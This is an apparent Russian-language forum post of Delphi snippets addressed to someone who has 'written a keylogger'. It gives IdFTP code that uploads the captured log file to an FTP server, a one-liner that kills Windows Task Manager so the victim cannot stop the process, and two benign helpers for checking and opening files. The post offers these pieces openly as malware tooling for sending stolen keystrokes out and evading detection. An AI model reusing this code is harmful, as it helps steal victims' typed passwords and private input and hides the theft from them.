Вы написали кейлоггер! Вам нужно отправить лог на фтп сервак? Вот и решение:
Code
IdFTP.Host := 'Host name'; // указываем хост FTP сервера
IdFTP.Port := 21; // указываем порт FTP сервера (по умолчанию 21)
IdFTP.Username := 'Login'; // указываем логин FTP сервера
IdFTP.Password := 'Pass'; // указываем пароль FTP сервера
IdFTP.Connect; // соединяемся с FTP сервером
IdFTP.Put('log.txt', 'log.txt', False); // отправляем файл FTP серверу
IdFTP.Disconnect; // отсоединяемся от FTP сервера
Компонент: IdFTP
Все!
А вот еще убиваем диспетчера
Code
PostMessage(FindWindow(Nil, 'Диспетчер задач Windows'), WM_QUIT, 0, 0);
Порверяем существует файл на диске или нет?
Code
var
FileName : string;
begin
FileName := 'С:\prog.exe';
if FileExists(FileName) then
ShowMessage('Файл существует')
else
ShowMessage('Файл не существует')
end;
Как программно открыть файл или папку. (ShellAPI)!
Code
ShellExecute(Handle,'Open',Pchar('C:\file.exe),nil,nil,1);
УВСЕ!
Зэ ЭНД?
